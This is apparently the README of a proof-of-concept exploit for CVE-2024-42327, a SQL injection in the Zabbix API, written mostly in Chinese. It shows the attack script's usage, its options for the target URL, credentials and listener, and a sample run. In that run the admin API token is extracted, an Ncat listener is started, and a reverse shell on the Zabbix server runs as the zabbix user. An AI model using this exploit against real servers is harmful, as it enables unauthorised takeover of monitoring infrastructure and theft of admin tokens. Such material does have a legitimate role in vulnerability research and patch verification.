
POC for CVE-2024-42327: Zabbix Privilege Escalation -> RCE
此概念验证(POC)可用于利用 CVE-2024-42327,泄露管理员 API 认证令牌,并创建一个条目以在 Zabbix 服务器 < 6.0.32rc1、6.4.17rc1、7.0.1rc1 上实现反向 shell。
Zabbix 前端上具有默认用户角色或任何其他具有 API 访问权限角色的非管理员用户账户可以利用此漏洞。在 CUser 类的 addRelatedObjects 函数中存在 SQL 注入,该函数从 CUser.get 函数调用,而任何具有 API 访问权限的用户均可访问该函数。
严重性:9.9 严重 向量:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
usage: zabbix_privesc.py [-h] -t URL -u USERNAME -p PASSWORD [--listen-ip LISTEN_IP] [--listen-port LISTEN_PORT] [--threads THREADS] [--sleep-time SLEEP_TIME]
[--row ROW] [--length LENGTH] [-a USERAGENT] [-x PROXY] [-v]
POC for CVE-2024-42327 (Zabbix admin API token leak)
options:
-h, --help show this help message and exit
-t, --url URL Zabbix Target URL
-u, --username USERNAME
Zabbix username
-p, --password PASSWORD
Zabbix password
--listen-ip LISTEN_IP
Listening IP / Interface
--listen-port LISTEN_PORT
Listening Port
--threads THREADS Threads
--sleep-time SLEEP_TIME
Sleep time
--row ROW Row index
--length LENGTH Max length
-a, --useragent USERAGENT
User agent to use when sending requests
-x, --proxy PROXY HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
-v, --verbose Verbosity enabled - additional output flag
python3 zabbix_privesc.py -t https://TARGET/zabbix/ -u USER -p PASSWORD
[*] 正在验证身份 ...
[+] 登录成功!USER API 认证令牌:d0a05dfe4ce768f62e22bda4057c7c19
[*] 开始数据提取 ...
[*] 提取管理员 API 认证令牌:af186c156b27a0c3f688b43f58c911c9
[*] 获取主机 ID ...
[*] host.get 响应:{'jsonrpc': '2.0', 'result': [{'hostid': '10084', 'host': 'Zabbix server', 'interfaces': [{'interfaceid': '1'}]}], 'id': 1}
[*] 启动监听器并发送反向 shell ...
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from X.X.X.X:51004.
zabbix@target:/$ id
uid=114(zabbix) gid=121(zabbix) groups=121(zabbix)